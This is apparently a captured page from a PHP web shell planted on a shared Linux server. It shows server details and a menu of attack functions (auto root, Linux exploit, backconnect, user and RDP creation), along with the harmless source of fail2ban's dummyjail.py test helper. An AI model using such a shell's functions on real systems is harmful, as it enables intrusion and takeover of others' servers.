Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
fail2ban /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
action_d
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
files
[ DIR ]
drwxr-xr-x
__init__.py
974
B
-rw-r--r--
actionstestcase.py
18.4
KB
-rw-r--r--
actiontestcase.py
23.46
KB
-rw-r--r--
banmanagertestcase.py
9.56
KB
-rw-r--r--
clientbeautifiertestcase.py
9.05
KB
-rw-r--r--
clientreadertestcase.py
41.59
KB
-rw-r--r--
databasetestcase.py
22.47
KB
-rw-r--r--
datedetectortestcase.py
26.33
KB
-rw-r--r--
dummyjail.py
2.02
KB
-rw-r--r--
fail2banclienttestcase.py
58.69
KB
-rw-r--r--
fail2banregextestcase.py
21.1
KB
-rw-r--r--
failmanagertestcase.py
8.76
KB
-rw-r--r--
filtertestcase.py
81.07
KB
-rw-r--r--
misctestcase.py
17.58
KB
-rw-r--r--
observertestcase.py
22.46
KB
-rw-r--r--
samplestestcase.py
12.2
KB
-rw-r--r--
servertestcase.py
87.43
KB
-rw-r--r--
sockettestcase.py
7.63
KB
-rw-r--r--
tickettestcase.py
7.13
KB
-rw-r--r--
utils.py
29.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dummyjail.py
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: t -*- # vi: set ft=python sts=4 ts=4 sw=4 noet : # This file is part of Fail2Ban. # # Fail2Ban is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # Fail2Ban is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Fail2Ban; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Fail2Ban developers __copyright__ = "Copyright (c) 2012 Yaroslav Halchenko" __license__ = "GPL" from threading import Lock from ..server.jail import Jail from ..server.actions import Actions class DummyActions(Actions): def checkBan(self): return self._Actions__checkBan() class DummyJail(Jail): """A simple 'jail' to suck in all the tickets generated by Filter's """ def __init__(self, name='DummyJail', backend=None): self.lock = Lock() self.queue = [] super(DummyJail, self).__init__(name=name, backend=backend) self.__actions = DummyActions(self) def __len__(self): with self.lock: return len(self.queue) def isEmpty(self): with self.lock: return not self.queue def isFilled(self): with self.lock: return bool(self.queue) @property def hasFailTickets(self): return bool(self.queue) def putFailTicket(self, ticket): with self.lock: self.queue.append(ticket) def getFailTicket(self): with self.lock: try: return self.queue.pop() except IndexError: return False @property def idle(self): return False; @idle.setter def idle(self, value): pass @property def actions(self): return self.__actions; def isAlive(self): return True;
Close